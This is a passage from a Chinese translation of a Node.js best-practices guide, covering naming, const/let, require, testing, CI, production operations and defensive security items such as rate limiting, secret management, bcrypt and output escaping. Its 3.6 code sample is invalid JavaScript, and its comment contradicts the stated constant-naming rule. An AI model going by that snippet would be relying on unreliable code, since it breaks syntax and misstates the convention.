使用一个核心dump（内存快照）调试线上问题，会是一项非常挑战的事项，因为你注意到的严重内存泄漏问题极有可能产生于匿名的方法。\n\n<br/><br/>\n\n## ![✔] 3.6 变量、常量、函数和类的命名约定\n\n**TL;DR:** 当命名变量和方法的时候，使用 ***lowerCamelCase*** ，当命名类的时候，使用 ***UpperCamelCase*** （首字母大写），对于常量，则 ***UPPERCASE*** 。这将帮助您轻松地区分普通变量/函数和需要实例化的类。使用描述性名称，但使它们尽量简短。\n\n**否则:** JavaScript是世界上唯一一门不需要实例化，就可以直接调用构造函数（\"Class\"）的编码语言。因此，类和函数的构造函数由采用UpperCamelCase开始区分。\n\n### 3.6 代码示例\n\n```javascript\n  // 使用UpperCamelCase命名类名\n  class SomeClassExample () {\n\n    // 常量使用const关键字，并使用lowerCamelCase命名\n    const config = {\n      key: 'value'\n    };\n\n    // 变量和方法使用lowerCamelCase命名\n    let someVariableExample = 'value';\n    function doSomething() {\n\n    }\n\n  }\n```\n\n<br/><br/>\n\n## ![✔] 3.7 使用const优于let，废弃var\n\n**TL;DR:** 使用`const`意味着一旦一个变量被分配，它不能被重新分配。使用const将帮助您免于使用相同的变量用于不同的用途，并使你的代码更清晰。如果一个变量需要被重新分配，以在一个循环为例，使用`let`声明它。let的另一个重要方面是，使用let声明的变量只在定义它的块作用域中可用。 `var`是函数作用域，不是块级作用域，既然您有const和let让您随意使用，那么[不应该在ES6中使用var](https://hackernoon.com/why-you-shouldnt-use-var-anymore-f109a58b9b70)。\n\n**否则:** 当经常更改变量时，调试变得更麻烦了。\n\n🔗 [**更多: JavaScript ES6+: var, let, or const?** ](https://medium.com/javascript-scene/javascript-es6-var-let-or-const-ba58b8dcde75)\n\n<br/><br/>\n\n## ![✔] 3.8 先require, 而不是在方法内部\n\n**TL;DR:** 在每个文件的起始位置，在任何函数的前面和外部require模块。这种简单的最佳实践，不仅能帮助您轻松快速地在文件顶部辨别出依赖关系，而且避免了一些潜在的问题。\n\n**否则:** 在Node.js中，require 是同步运行的。如果从函数中调用它们，它可能会阻塞其他请求，在更关键的时间得到处理。另外，如果所require的模块或它自己的任何依赖项抛出错误并使服务器崩溃，最好尽快查明它，如果该模块在函数中require的，则可能不是这样的情况。\n\n<br/><br/>\n\n## ![✔] 3.9 require 文件夹，而不是文件\n\n**TL;DR:** 当在一个文件夹中开发库/模块，放置一个文件index.js暴露模块的\n内部，这样每个消费者都会通过它。这将作为您模块的一个接口，并使未来的变化简单而不违反规则。\n\n**否则:** 更改文件内部结构或签名可能会破坏与客户端的接口。\n\n### 3.9 代码示例\n\n```javascript\n  // 建议\n  module.exports.SMSProvider = require('./SMSProvider');\n  module.exports.SMSNumberResolver = require('./SMSNumberResolver');\n\n  // 避免\n  module.exports.SMSProvider = require('./SMSProvider/SMSProvider.js');\n  module.exports.SMSNumberResolver = require('./SMSNumberResolver/SMSNumberResolver.js');\n```\n\n<br/><br/>\n\n## ![✔] 3.10 使用 `===` 操作符\n\n**TL;DR:** 对比弱等于 `==`，优先使用严格的全等于 `===` 。`==`将在它们转换为普通类型后比较两个变量。在 `===` 中没有类型转换，并且两个变量必须是相同的类型。\n\n**否则:** 与 `==` 操作符比较，不相等的变量可能会返回true。\n\n### 3.10 代码示例\n\n```javascript\n'' == '0'           // false\n0 == ''             // true\n0 == '0'            // true\n\nfalse == 'false'    // false\nfalse == '0'        // true\n\nfalse == undefined  // false\nfalse == null       // false\nnull == undefined   // true\n\n' \\t\\r\\n ' == 0     // true\n```\n\n如果使用`===`， 上面所有语句都将返回 false。\n\n<br/><br/>\n\n## ![✔] 3.11 使用 Async Await, 避免回调\n\n**TL;DR:** Node 8 LTS现已全面支持异步等待。这是一种新的方式处理异步请求，取代回调和promise。Async-await是非阻塞的，它使异步代码看起来像是同步的。您可以给你的代码的最好的礼物是用async-await提供了一个更紧凑的，熟悉的，类似try catch的代码语法。\n\n**否则:** 使用回调的方式处理异步错误可能是陷入困境最快的方式 - 这种方式必须面对不停地检测错误，处理别扭的代码内嵌，难以推理编码流。\n\n🔗[**更多:** async await 1.0 引导](https://github.com/yortus/asyncawait)\n\n<br/><br/>\n\n## ![✔] 3.12 使用 (=>) 箭头函数\n\n**TL;DR:** 尽管使用 async-await 和避免方法作为参数是被推荐的, 但当处理那些接受promise和回调的老的API的时候 - 箭头函数使代码结构更加紧凑，并保持了根方法上的语义上下文 (例如 'this')。\n\n**否则:** 更长的代码（在ES5方法中）更易于产生缺陷，并读起来很是笨重。\n\n🔗 [**更多: 这是拥抱箭头函数的时刻**](https://medium.com/javascript-scene/familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions-3d37e1a9bb75)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#table-of-contents\">⬆ 返回顶部</a></p>\n\n<h1 id=\"4-testing-and-overall-quality-practices\"><code>4. 测试和总体的质量实践</code></h1>\n\n## ![✔] 4.1 至少，编写API（组件）测试\n\n**TL;DR:** 大多数项目只是因为时间表太短而没有进行任何自动化测试，或者测试项目失控而正被遗弃。因此，优先从API测试开始，这是最简单的编写和提供比单元测试更多覆盖率的事情（你甚至可能不需要编码而进行API测试，像[Postman](https://www.getpostman.com/)。之后，如果您有更多的资源和时间，继续使用高级测试类型，如单元测试、DB测试、性能测试等。\n\n**否则:** 您可能需要花很长时间编写单元测试，才发现只有20%的系统覆盖率。\n\n<br/><br/>\n\n## ![✔] 4.2 使用一个linter检测代码问题\n\n**TL;DR:** 使用代码linter检查基本质量并及早检测反模式。在任何测试之前运行它, 并将其添加为预提交的git钩子, 以最小化审查和更正任何问题所需的时间。也可在[Section 3](https://github.com/goldbergyoni/nodebestpractices#3-code-style-practices)中查阅编码样式实践\n\n**否则:** 您可能让一些反模式和易受攻击的代码传递到您的生产环境中。\n\n<br/><br/>\n\n## ![✔] 4.3 仔细挑选您的持续集成（CI）平台\n\n**TL;DR:** 您的持续集成平台（cicd）将集成各种质量工具（如测试、lint），所以它应该是一个充满活力的生态系统，包含各种插件。[jenkins](https://jenkins.io/)曾经是许多项目的默认选项，因为它有最大的社区，同时也是一个非常强大的平台，这样的代价是要求一个陡峭的学习曲线。如今，使用SaaS工具，比如[CircleCI](https://circleci.com)及其他，安装一套CI解决方案，相对是一件容易的事情。这些工具允许构建灵活的CI管道，而无需管理整个基础设施。最终，这是一个鲁棒性和速度之间的权衡 - 仔细选择您支持的方案。\n\n**否则:** 一旦您需要一些高级定制，选择一些细分市场供应商可能会让您停滞不前。另一方面，伴随着jenkins，可能会在基础设施设置上浪费宝贵的时间。\n\n🔗 [**更多: 挑选 CI 平台**](./sections/testingandquality/citools.chinese.md)\n\n<br/><br/>\n\n## ![✔] 4.4 经常检查易受攻击的依赖\n\n**TL;DR:** 即使是那些最有名的依赖模块，比如Express，也有已知的漏洞。使用社区和商业工具，比如 🔗 [npm audit](https://docs.npmjs.com/cli/audit) ，集成在您的CI平台上，在每一次构建的时候都会被调用，这样可以很容易地解决漏洞问题。\n\n**否则:** 在没有专用工具的情况下，使代码清除漏洞，需要不断地跟踪有关新威胁的在线出版物，相当繁琐。\n\n<br/><br/>\n\n## ![✔] 4.5 测试标签化\n\n**TL;DR:**  不同的测试必须运行在不同的情景：quick smoke，IO-less，当开发者保存或提交一个文件，测试应该启动；完整的端到端的测试通常运行在一个新的pull request被提交之后，等等。这可以通过对测试用例设置标签，比如关键字像#cold #api #sanity，来完成。这样您可以对您的测试集进行grep，调用需要的子集。例如，这就是您通过[Mocha](https://mochajs.org/)仅仅调用sanity测试集所需要做的：mocha --grep 'sanity'。\n\n**否则:** 运行所有的测试，包括执行数据库查询的几十个测试，任何时候开发者进行小的改动都可能很慢，这使得开发者不愿意运行测试。\n\n<br/><br/>\n\n## ![✔] 4.6 检查测试覆盖率，它有助于识别错误的测试模式\n\n**TL;DR:** 代码覆盖工具比如 [Istanbul](https://github.com/istanbuljs/istanbuljs)/[NYC](https://github.com/istanbuljs/nyc)，很好用有3个原因：它是免费的（获得这份报告不需要任何开销），它有助于确定测试覆盖率降低的部分，以及最后但非最不重要的是它指出了测试中的不匹配：通过查看颜色标记的代码覆盖报告您可以注意到，例如，从来不会被测到的代码片段像catch语句（即测试只是调用正确的路径，而不调用应用程序发生错误时的行为）。如果覆盖率低于某个阈值，则将其设置为失败的构建。\n\n**否则:** 当你的大部分代码没有被测试覆盖时，就不会有任何自动化的度量指标告诉你了。\n\n<br/><br/>\n\n## ![✔] 4.7 检查过期的依赖包\n\n**TL;DR:** 使用您的首选工具 (例如 “npm outdated” or [npm-check-updates](https://www.npmjs.com/package/npm-check-updates) 来检测已安装的过期依赖包, 将此检查注入您的 CI 管道, 甚至在严重的情况下使构建失败。例如, 当一个已安装的依赖包滞后5个补丁时 (例如:本地版本是1.3.1 的, 存储库版本是1.3.8 的), 或者它被其作者标记为已弃用, 可能会出现严重的情况 - 停掉这次构建并防止部署此版本。\n\n**否则:** 您的生产环境将运行已被其作者明确标记为有风险的依赖包\n\n<br/><br/>\n\n## ![✔] 4.8 对于e2e testing，使用docker-compose\n\n**TL;DR:** 端对端(e2e)测试包含现场数据，由于它依赖于很多重型服务如数据库，习惯被认为是CI过程中最薄弱的环节。Docker-compose通过制定类似生产的环境，并使用一个简单的文本文件和简单的命令，轻松化解了这个问题。它为了e2e测试，允许制作所有相关服务，数据库和隔离网络。最后但并非最不重要的一点是，它可以保持一个无状态环境，该环境在每个测试套件之前被调用，然后立即消失。\n\n**否则:** 没有docker-compose，团队必须维护一个测试数据库在每一个测试环境上，包含开发机器，保持所有数据同步，这样测试结果不会因环境不同而不同。\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#table-of-contents\">⬆ 返回顶部</a></p>\n\n<h1 id=\"5-going-to-production-practices\"><code>5. 上线实践</code></h1>\n\n## ![✔] 5.1. 监控\n\n**TL;DR:** 监控是一种在顾客之前发现问题的游戏 – 显然这应该被赋予前所未有的重要性。考虑从定义你必须遵循的基本度量标准开始（我的建议在里面），到检查附加的花哨特性并选择解决所有问题的解决方案。市场已经淹没其中。点击下面的 ‘The Gist’ ，了解解决方案的概述。\n\n**否则:** 错误 === 失望的客户. 非常简单.\n\n🔗 [**更多: 监控!**](./sections/production/monitoring.chinese.md)\n\n<br/><br/>\n\n## ![✔] 5.2. 使用智能日志增加透明度\n\n**TL;DR:** 日志可以是调试语句的一个不能说话的仓库，或者表述应用运行过程的一个漂亮仪表板的驱动。从第1天计划您的日志平台：如何收集、存储和分析日志，以确保所需信息（例如，错误率、通过服务和服务器等完成整个事务）都能被提取出来。\n\n**否则:** 您最终像是面对一个黑盒，不知道发生了什么事情，然后你开始重新写日志语句添加额外的信息。\n\n🔗 [**更多: 使用智能日志增加透明度**](./sections/production/smartlogging.chinese.md)\n\n<br/><br/>\n\n## ![✔] 5.3. 委托可能的一切（例如：gzip，SSL）给反向代理\n\n**TL;DR:** Node处理CPU密集型任务，如gzipping，SSL termination等，表现糟糕。相反，使用一个 ‘真正’ 的中间件服务像Nginx，HAProxy或者云供应商的服务。\n\n**否则:** 可怜的单线程Node将不幸地忙于处理网络任务，而不是处理应用程序核心，性能会相应降低。\n\n🔗 [**更多: 委托可能的一切（例如：gzip，SSL）给反向代理**](./sections/production/delegatetoproxy.chinese.md)\n\n<br/><br/>\n\n## ![✔] 5.4. 锁住依赖\n\n**TL;DR:** 您的代码必须在所有的环境中是相同的，但是令人惊讶的是，NPM默认情况下会让依赖在不同环境下发生偏移 – 当在不同的环境中安装包的时候，它试图拿包的最新版本。克服这种问题可以利用NPM配置文件， .npmrc，告诉每个环境保存准确的（不是最新的）包的版本。另外，对于更精细的控制，使用NPM “shrinkwrap”。*更新：作为NPM5，依赖默认锁定。新的包管理工具，Yarn，也默认锁定。\n\n**否则:** QA测试通过的代码和批准的版本，在生产中表现不一致。更糟糕的是，同一生产集群中的不同服务器可能运行不同的代码。\n\n🔗 [**更多: 锁住依赖**](./sections/production/lockdependencies.chinese.md)\n\n<br/><br/>\n\n## ![✔] 5.5. 使用正确的工具保护进程正常运行\n\n**TL;DR:** 进程必须继续运行，并在失败时重新启动。对于简单的情况下，“重启”工具如PM2可能足够，但在今天的“Dockerized”世界 – 集群管理工具也值得考虑\n\n**否则:** 运行几十个实例没有明确的战略和太多的工具（集群管理，docker，PM2）可能导致一个DevOps混乱\n\n🔗 [**更多: 使用正确的工具保护进程正常运行**](./sections/production/guardprocess.chinese.md)\n\n<br/><br/>\n\n## ![✔] 5.6. 利用CPU多核\n\n**TL;DR:** 在基本形式上，node应用程序运行在单个CPU核心上，而其他都处于空闲状态。复制node进程和利用多核，这是您的职责 – 对于中小应用，您可以使用Node Cluster和PM2. 对于一个大的应用，可以考虑使用一些Docker cluster（例如k8s，ECS）复制进程或基于Linux init system（例如systemd）的部署脚本\n\n**否则:** 您的应用可能只是使用了其可用资源中的25% (!)，甚至更少。注意，一台典型的服务器有4个或更多的CPU，默认的Node.js部署仅仅用了一个CPU（甚至使用PaaS服务，比如AWS beanstalk，也一样）。\n\n🔗 [**更多: 利用所有的CPU**](./sections/production/utilizecpu.chinese.md)\n\n<br/><br/>\n\n## ![✔] 5.7. 创建一个“维护端点”\n\n**TL;DR:** 在一个安全的API中暴露一组系统相关的信息，比如内存使用情况和REPL等等。尽管这里强烈建议依赖标准和作战测试工具，但一些有价值的信息和操作更容易使用代码完成。\n\n**否则:** 您会发现，您正在执行许多“诊断部署” – 将代码发送到生产中，仅仅只为了诊断目的提取一些信息。\n\n🔗 [**更多: 创建一个 '维护端点'**](./sections/production/createmaintenanceendpoint.chinese.md)\n\n<br/><br/>\n\n## ![✔] 5.8. 使用APM产品发现错误和宕机时间\n\n**TL;DR:** 监控和性能的产品（即APM）先前一步地评估代码库和API，自动的超过传统的监测，并测量在服务和层级上的整体用户体验。例如，一些APM产品可以突显导致最终用户负载过慢的事务，同时指出根本原因。\n\n**否则:** 你可能会花大力气测量API性能和停机时间，也许你永远不会知道，真实场景下哪个是你最慢的代码部分，这些怎么影响用户体验。\n\n🔗 [**更多: 使用APM产品发现错误和宕机时间**](./sections/production/apmproducts.chinese.md)\n\n<br/><br/>\n\n## ![✔] 5.9. 使您的代码保持生产环境就绪\n\n**TL;DR:** 在意识中抱着最终上线的想法进行编码，从第1天开始计划上线。这听起来有点模糊，所以我编写了一些与生产维护密切相关的开发技巧（点击下面的要点）\n\n**否则:** 一个世界冠军级别的IT/运维人员也不能拯救一个编码低劣的系统。\n\n🔗 [**更多: 使您的代码保持生产环境就绪**](./sections/production/productioncode.chinese.md)\n\n<br/><br/>\n\n## ![✔] 5.10. 测量和保护内存使用\n\n**TL;DR:** Node.js和内存有引起争论的联系：V8引擎对内存的使用有稍微的限制（1.4GB），在node的代码里面有内存泄漏的很多途径 – 因此监视node的进程内存是必须的。在小应用程序中，你可以使用shell命令周期性地测量内存，但在中等规模的应用程序中，考虑把内存监控建成一个健壮的监控系统。\n\n**否则:** 您的内存可能一天泄漏一百兆，就像曾发生在沃尔玛的一样。\n\n🔗 [**更多: 测量和保护内存使用**](./sections/production/measurememory.chinese.md)\n\n<br/><br/>\n\n## ![✔] 5.11. Node外管理您的前端资源\n\n**TL;DR:** 使用专门的中间件（nginx，S3，CDN）服务前端内容，这是因为在处理大量静态文件的时候，由于node的单线程模型，它的性能很受影响。\n\n**否则:** 您的单个node线程将忙于传输成百上千的html/图片/angular/react文件，而不是分配其所有的资源为了其擅长的任务 – 服务动态内容\n\n🔗 [**更多: Node外管理您的前端资源**](./sections/production/frontendout.chinese.md)\n\n<br/><br/>\n\n## ![✔] 5.12. 保持无状态，几乎每天都要停下服务器\n\n**TL;DR:** 在外部数据存储上，存储任意类型数据（例如用户会话，缓存，上传文件）。考虑间隔地停掉您的服务器或者使用 ‘serverless’ 平台（例如 AWS Lambda），这是一个明确的强化无状态的行为。\n\n**否则:** 某个服务器上的故障将导致应用程序宕机，而不仅仅是停用故障机器。此外，由于依赖特定服务器，伸缩弹性会变得更具挑战性。\n\n🔗 [**更多: 保持无状态，几乎每天都要停下服务器**](./sections/production/bestateless.chinese.md)\n\n<br/><br/>\n\n## ![✔] 5.13. 使用自动检测漏洞的工具\n\n**TL;DR:** 即使是最有信誉的依赖项，比如Express，会有使系统处于危险境地的已知漏洞（随着时间推移）。通过使用社区的或者商业工具，不时的检查漏洞和警告（本地或者Github上），这类问题很容易被抑制，有些问题甚至可以立即修补。\n\n**否则:** 否则: 在没有专用工具的情况下，使代码清除漏洞，需要不断地跟踪有关新威胁的在线出版物。相当繁琐。\n\n🔗 [**更多: 使用自动检测漏洞的工具**](./sections/production/detectvulnerabilities.chinese.md)\n\n<br/><br/>\n\n## ![✔] 5.14. 在每一个log语句中指明 ‘TransactionId’\n\n**TL;DR:** 在每一个请求的每一条log入口，指明同一个标识符，transaction-id: {某些值}。然后在检查日志中的错误时，很容易总结出前后发生的事情。不幸的是，由于Node异步的天性自然，这是不容易办到的，看下代码里面的例子\n\n**否则:** 在没有上下文的情况下查看生产错误日志，这会使问题变得更加困难和缓慢去解决。\n\n🔗 [**更多: 在每一个log语句中指明 ‘TransactionId’**](./sections/production/assigntransactionid.chinese.md)\n\n<br/><br/>\n\n## ![✔] 5.15. 设置NODE_ENV=production\n\n**TL;DR:** 设置环境变量NODE_ENV为‘production’ 或者 ‘development’，这是一个是否激活上线优化的标志 - 很多NPM的包通过它来判断当前的环境，据此优化生产环境代码。\n\n**否则:** 遗漏这个简单的属性可能大幅减弱性能。例如，在使用Express作为服务端渲染页面的时候，如果未设置NODE_ENV，性能将会减慢大概三分之一！\n\n🔗 [**更多: 设置NODE_ENV=production**](./sections/production/setnodeenv.chinese.md)\n\n<br/><br/>\n\n## ![✔] 5.16. 设计自动化、原子化和零停机时间部署\n\n**TL;DR:** 研究表明，执行许多部署的团队降低了严重上线问题的可能性。不需要危险的手动步骤和服务停机时间的快速和自动化部署大大改善了部署过程。你应该达到使用Docker结合CI工具，使他们成为简化部署的行业标准。\n\n**否则:** 长时间部署 -> 线上宕机 & 和人相关的错误 -> 团队部署时不自信 -> 更少的部署和需求\n\n<br/><br/>\n\n## ![✔] 5.17. 使用 Node.js 的 LTS 版本\n\n**TL;DR:** 确保您是使用LTS版本的Node.js来获取关键的错误修复、安全更新和性能改进。\n\n**否则:** 新发现的错误或漏洞可能会被用于生产环境中运行的应用程序，您的应用程序可能会变得难以维护且不受各种模块支持.\n\n🔗 [**更多: 使用node.js的LTS版本**](./sections/production/LTSrelease.chinese.md)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#table-of-contents\">⬆ 返回顶部</a></p>\n\n<h1 id=\"6-security-best-practices\"><code>6. 安全最佳实践</code></h1>\n\n<div align=\"center\">\n<img src=\"https://img.shields.io/badge/OWASP%20Threats-Top%2010-green.svg\" alt=\"53 items\"/>\n</div>\n\n## ![✔] 6.1. 拥护linter安全准则\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20XSS%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** 使用安全相关的linter插件，比如[eslint-plugin-security](https://github.com/nodesecurity/eslint-plugin-security)，尽早捕获安全隐患或者问题，最好在编码阶段。这能帮助察觉安全的问题，比如使用eval，调用子进程，或者根据字面含义（比如，用户输入）引入模块等等。点击下面‘更多’获得一个安全linter可以检测到的代码示例。\n\n**Otherwise:** 在开发过程中, 可能一个直白的安全隐患, 成为生产环境中一个严重问题。此外, 项目可能没有遵循一致的安全规范, 而导致引入漏洞, 或敏感信息被提交到远程仓库中。\n\n🔗 [**更多: Lint 规范**](./sections/security/lintrules.md)\n\n<br/><br/>\n\n## ![✔] 6.2. 使用中间件限制并发请求\n\n<a href=\"https://www.owasp.org/index.php/Denial_of_Service\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** DOS攻击非常流行而且相对容易处理。使用外部服务，比如cloud负载均衡, cloud防火墙, nginx, 或者（对于小的，不是那么重要的app）一个速率限制中间件(比如[express-rate-limit](https://www.npmjs.com/package/express-rate-limit))，来实现速率限制。\n\n**否则:** 应用程序可能受到攻击, 导致拒绝服务, 在这种情况下, 真实用户会遭受服务降级或不可用。\n\n🔗 [**更多: 实施速率限制**](./sections/security/limitrequests.md)\n\n<br/><br/>\n\n## ![✔] 6.3 把机密信息从配置文件中抽离出来，或者使用包对其加密\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A3:Sensitive%20Data%20Exposure%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** 不要在配置文件或源代码中存储纯文本机密信息。相反, 使用诸如Vault产品、Kubernetes/Docker Secrets或使用环境变量之类的安全管理系统。最后一个结果是, 存储在源代码管理中的机密信息必须进行加密和管理 (滚动密钥(rolling keys)、过期时间、审核等)。使用pre-commit/push钩子防止意外提交机密信息。\n\n**否则:** 源代码管理, 即使对于私有仓库, 也可能会被错误地公开, 此时所有的秘密信息都会被公开。外部组织的源代码管理的访问权限将无意中提供对相关系统 (数据库、api、服务等) 的访问。\n\n🔗 [**更多: 安全管理**](./sections/security/secretmanagement.md)\n\n<br/><br/>\n\n## ![✔] 6.4. 使用 ORM/ODM 库防止查询注入漏洞\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** 要防止 SQL/NoSQL 注入和其他恶意攻击, 请始终使用 ORM/ODM 或database库来转义数据或支持命名的或索引的参数化查询, 并注意验证用户输入的预期类型。不要只使用JavaScript模板字符串或字符串串联将值插入到查询语句中, 因为这会将应用程序置于广泛的漏洞中。所有知名的Node.js数据访问库(例如[Sequelize](https://github.com/sequelize/sequelize), [Knex](https://github.com/tgriesser/knex), [mongoose](https://github.com/Automattic/mongoose))包含对注入漏洞的内置包含措施。\n\n**否则:** 未经验证或未脱敏处理的用户输入，可能会导致操作员在使用MongoDB进行NoSQL操作时进行注入, 而不使用适当的过滤系统或ORM很容易导致SQL注入攻击, 从而造成巨大的漏洞。\n\n🔗 [**更多: 使用 ORM/ODM 库防止查询注入**](./sections/security/ormodmusage.md)\n\n<br/><br/>\n\n## ![✔] 6.5. 通用安全最佳实践集合\n\n**TL;DR:** 这些是与Node.js不直接相关的安全建议的集合-Node的实现与任何其他语言没有太大的不同。单击 \"阅读更多\" 浏览。\n\n🔗 [**更多: 通用安全最佳实践**](./sections/security/commonsecuritybestpractices.md)\n\n<br/><br/>\n\n## ![✔] 6.6. 调整 HTTP 响应头以加强安全性\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** 应用程序应该使用安全的header来防止攻击者使用常见的攻击方式，诸如跨站点脚本(XSS)、点击劫持和其他恶意攻击。可以使用模块，比如 [helmet](https://www.npmjs.com/package/helmet)轻松进行配置。\n\n**否则:** 攻击者可以对应用程序的用户进行直接攻击, 导致巨大的安全漏洞\n\n🔗 [**更多: 在应用程序中使用安全的header**](./sections/security/secureheaders.md)\n\n<br/><br/>\n\n## ![✔] 6.7. 经常自动检查易受攻击的依赖库\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A9-Using_Components_with_Known_Vulnerabilities\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Known%20Vulnerabilities%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** 在npm的生态系统中, 一个项目有许多依赖是很常见的。在找到新的漏洞时, 应始终将依赖项保留在检查中。使用工具，类似于[npm audit](https://docs.npmjs.com/cli/audit) 或者 [snyk](https://snyk.io/)跟踪、监视和修补易受攻击的依赖项。将这些工具与 CI 设置集成, 以便在将其上线之前捕捉到易受攻击的依赖库。\n\n**否则:** 攻击者可以检测到您的web框架并攻击其所有已知的漏洞。\n\n🔗 [**更多: 安全依赖**](./sections/security/dependencysecurity.md)\n\n<br/><br/>\n\n## ![✔] 6.8. 避免使用Node.js的crypto库处理密码，使用Bcrypt\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A2-Broken_Authentication\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Broken%20Authentication%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** 密码或机密信息(API密钥)应该使用安全的哈希+salt函数(如 \"bcrypt\")来存储, 因为性能和安全原因, 这应该是其JavaScript实现的首选。\n\n**否则:** 在不使用安全功能的情况下，保存的密码或秘密信息容易受到暴力破解和字典攻击, 最终会导致他们的泄露。\n\n🔗 [**更多: 使用Bcrypt**](./sections/security/bcryptpasswords.chinese.md)\n\n<br/><br/>\n\n## ![✔] 6.9. 转义 HTML、JS 和 CSS 输出\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** 发送给浏览器的不受信任数据可能会被执行, 而不是显示, 这通常被称为跨站点脚本(XSS)攻击。使用专用库将数据显式标记为不应执行的纯文本内容(例如:编码、转义)，可以减轻这种问题。\n\n**否则:** 攻击者可能会将恶意的JavaScript代码存储在您的DB中, 然后将其发送给可怜的客户端。\n\n🔗 [**更多: 转义输出**](./sections/security/escape-output.md)\n\n<br/><br/>\n\n## ![✔] 6.10. 验证传入的JSON schemas\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7: XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A8-Insecure_Deserialization\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A8:Insecured%20Deserialization%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** 验证传入请求的body payload，并确保其符合预期要求, 如果没有, 则快速报错。为了避免每个路由中繁琐的验证编码, 您可以使用基于JSON的轻量级验证架构，比如[jsonschema](https://www.npmjs.com/package/jsonschema) or [joi](https://www.npmjs.com/package/joi)\n\n**否则:** 您疏忽和宽松的方法大大增加了攻击面, 并鼓励攻击者尝试许多输入, 直到他们找到一些组合, 使应用程序崩溃。\n\n🔗 [**更多: 验证传入的JSON schemas**](./sections/security/validation.md)\n\n<br/><br/>\n\n## ![✔] 6.11. 支持黑名单的JWT\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A2-Broken_Authentication\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Broken%20Authentication%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** 当使用JSON Web Tokens(例如, 通过[Passport.js](https://github.com/jaredhanson/passport)), 默认情况下, 没有任何机制可以从发出的令牌中撤消访问权限。一旦发现了一些恶意用户活动, 只要它们持有有效的标记, 就无法阻止他们访问系统。通过实现一个不受信任令牌的黑名单，并在每个请求上验证，来减轻此问题。\n\n**否则:** 过期或错误的令牌可能被第三方恶意使用，以访问应用程序，并模拟令牌的所有者。\n\n🔗 [**更多: 为JSON Web Token添加黑名单**](./sections/security/expirejwt.md)\n\n<br/><br/>\n\n## ![✔] 6.12. 限制每个用户允许的登录请求\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A2-Broken_Authentication\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Broken%20Authentication%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** 一类保护暴力破解的中间件，比如[express-brute](https://www.npmjs.com/package/express-brute)，应该被用在express的应用中，来防止暴力/字典攻击；这类攻击主要应用于一些敏感路由，比如/admin 或者 /login，基于某些请求属性, 如用户名, 或其他标识符, 如正文参数等。\n\n**否则:** 攻击者可以发出无限制的密码匹配尝试, 以获取对应用程序中特权帐户的访问权限。\n\n🔗 [**更多: 限制登录频率**](./sections/security/login-rate-limit.md)\n\n<br/><br/>\n\n## ![✔] 6.13. 使用非root用户运行Node.js\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A5:Broken%20Access%20Access%20Control-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Node.js作为一个具有无限权限的root用户运行，这是一种普遍的情景。例如，在Docker容器中，这是默认行为。建议创建一个非root用户，并保存到Docker镜像中（下面给出了示例），或者通过调用带有\"-u username\" 的容器来代表此用户运行该进程。\n\n**否则:** 